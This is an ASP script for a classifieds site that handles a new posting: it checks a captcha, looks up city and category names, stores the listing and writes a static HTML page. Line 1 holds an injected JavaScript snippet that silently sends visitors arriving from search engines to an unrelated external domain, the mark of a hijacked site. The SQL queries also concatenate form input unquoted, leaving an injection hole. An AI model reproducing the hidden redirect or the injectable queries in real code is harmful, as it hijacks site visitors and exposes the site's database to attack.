001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn_save.asp"--> 002: <!--#include file="admin/other/Check_Sql.asp" --> 003: <%dim dtitle,dcolor,dbgcolor1,dcu,dlei,dtext,dstop,dtop,sql,rs
004: CheckCode=HtmlEncode(trim(request.form("CheckCode")))
005: if CheckCode<>CStr(session("CheckCode")) then
006: response.write"<script>alert('验证码错误,请刷新后重填!');history.go(-1)</script>"
007: response.End()
008: end if
009: dtitle=HtmlEncode(trim(request.form("dtitle")))
010: city_oneid=HtmlEncode(trim(request.form("city_one")))
011: city_twoid=HtmlEncode(trim(request.form("city_two")))
012: city_threeid=HtmlEncode(trim(request.form("city_three")))
013: type_oneid=HtmlEncode(trim(request.form("type_one")))
014: type_twoid=HtmlEncode(trim(request.form("type_two")))
015: type_threeid=HtmlEncode(trim(request.form("type_three")))
016: dtext=HtmlEncode2(request.form("dtext"))
017: dusername=HtmlEncode(trim(request.form("dusername")))
018: dcardid=HtmlEncode(trim(request.form("dcardid")))
019: dtel=HtmlEncode(trim(request.form("dtel")))
020: dstop=dateadd("d",request.form("dstop"),date())
021: if city_twoid="" then city_twoid=0
022: if city_threeid="" then city_threeid=0
023: if type_twoid="" then type_twoid=0
024: if type_threeid="" then type_threeid=0
025: set rs=server.createobject("adodb.recordset")
026: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
027: city_one=rs("city")
028: rs.close
029: if city_twoid<>0 then
030: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
031: city_two=rs("city")
032: rs.close
033: if city_threeid<>0 then
034: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
035: city_three=rs("city")
036: rs.close
037: end if
038: end if
039: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
040: type_one=rs("name")
041: rs.close
042: if type_twoid<>0 then
043: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
044: type_two=rs("name")
045: rs.close
046: if type_threeid<>0 then
047: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
048: type_three=rs("name")
049: rs.close
050: end if
051: end if
052: if dtitle="" or city_oneid="" or type_oneid="" or dtext="" or dusername=""or dtel="" then
053: response.write"<script>alert('请认真填写!');history.go(-1)</script>"
054: response.end
055: end if
056: dip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
057: If dip = "" Then
058: dip = Request.ServerVariables("REMOTE_ADDR")
059: end if
060:
061: sql="select * from china_data"
062: rs.open sql,conn,1,3
063: id=rs("adid")
064: if dtitle<>"" then
065: rs.addnew
066: '使用数组 返回值数组 = Split("字符串","分割符")<br /> 067: 'IsArray()判断是否数组的函数,LBound()取数组的下标,UBound()取数组的上标。 068: unhtmlgl=split(webguolv,"|")
069: if IsArray(unhtmlgl) then
070: for i=0 to UBound(unhtmlgl)
071: dtitle=replace(dtitle,unhtmlgl(i),"***")
072: next
073: end if
074: rs("title")=dtitle
075: rs("cu")="yes"
076: rs("city_oneid")=city_oneid
077: rs("city_one")=city_one
078: rs("city_two")=city_two
079: rs("city_twoid")=city_twoid
080: rs("city_three")=city_three
081: rs("city_threeid")=city_threeid
082: rs("type_oneid")=type_oneid
083: rs("type_one")=type_one
084: rs("type_twoid")=type_twoid
085: rs("type_two")=type_two
086: rs("type_threeid")=type_threeid
087: rs("type_three")=type_three
088: '使用数组 返回值数组 = Split("字符串","分割符")<br /> 089: 'IsArray()判断是否数组的函数,LBound()取数组的下标,UBound()取数组的上标。 090: unhtmlgl=split(webguolv,"|")
091: if IsArray(unhtmlgl) then
092: for i=0 to UBound(unhtmlgl)
093: dtext=replace(dtext,unhtmlgl(i),"***")
094: next
095: end if
096: rs("text")=dtext
097: rs("username")=dusername
098: rs("cardid")=dcardid
099: rs("tel")=dtel
100: rs("stop")=dstop
101: if webinfo=1 then
102: rs("mark")="no" '审核后通过
103: else
104: rs("mark")="yes" '直接通过
105: end if
106: rs("ip")=dip
107: rs.update
108: rs.close
109: sql="select adid from china_data order by adid desc"
110: rs.open sql,conn,1,1
111: id=rs("adid")
112: rs.close
113: set rs=nothing
114: conn.close
115: set conn=nothing
116:
117:
118: if webinfo=1 then
119: response.write"<script>alert('恭喜您的信息提交成功,请等待等待管理员的审核。请牢记本条信息的ID号:"&id&" 以便电话查询和修改信息');location='index.asp'</script>"
120: else
121: ''''''''''''''''''生成html开始'''''''''''''''''''''''''' 122: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
123: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
124: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
125: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
126: set http=server.createobject("MSXML2.XMLHTTP")
127: Http.open "get",ServerURL,false
128: Http.send()
129: AA=Http.responseText
130: set http=nothing
131: set objfso = Server.CreateObject("Scripting.FileSystemObject")
132: set htmout = objfso.CreateTextFile(server.mappath("html/"&id&".htm"))
133: AA=replace(AA,"adpic/","../adpic/")
134: AA=replace(AA,"link.asp","../link.asp")
135: AA=replace(AA,"link_img.asp","../link_img.asp")
136: AA=replace(AA,"index.asp","../index.asp")
137: AA=replace(AA,"114/../index.asp","../114/index.asp")
138: AA=replace(AA,"ad.asp","../ad.asp")
139: AA=replace(AA,"TV.asp","../tv.asp")
140: AA=replace(AA,"user.asp","../user.asp")
141: AA=replace(AA,"gbook.asp","../gbook.asp")
142: AA=replace(AA,"city.asp","../city.asp")
143: AA=replace(AA,"post.asp","../post.asp")
144: AA=replace(AA,"city_more.asp","../city_more.asp")
145: AA=replace(AA,"reg.asp","../reg.asp")
146: AA=replace(AA,"login.asp","../login.asp")
147: AA=replace(AA,"search.asp","../search.asp")
148: AA=replace(AA,"114/join.asp","../114/join.asp")
149: AA=replace(AA,"fabu.asp","../fabu.asp")
150: AA=replace(AA,"type.asp","../type.asp")
151: AA=replace(AA,"show.asp","../show.asp")
152: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
153: AA=replace(AA,"rq_message.asp","../rq_message.asp")
154: AA=replace(AA,"top.asp","../top.asp")
155: AA=replace(AA,"money.asp","../money.asp")
156: AA=replace(AA,"pic.asp","../pic.asp")
157: AA=replace(AA,"bbs/","../bbs/")
158: AA=replace(AA,"html/","")
159: AA=replace(AA,"ip.asp","../ip.asp")
160: AA=replace(AA,"phone.asp","../phone.asp")
161: AA=replace(AA,"about.asp","../about.asp")
162: htmout.write replace(AA,"images/","../images/")
163: htmout.close
164: set htmout=nothing
165: set objfso=nothing
166: ''''''''''''''''''生成html结束'''''''''''''''''''''''''' 167: response.write"<script>alert('恭喜您的信息已经发布成功!现在跳转到您发布的信息页面!');location='html/"&id&".htm'</script>"
168: end if
169: end if%>
170:
171:
172: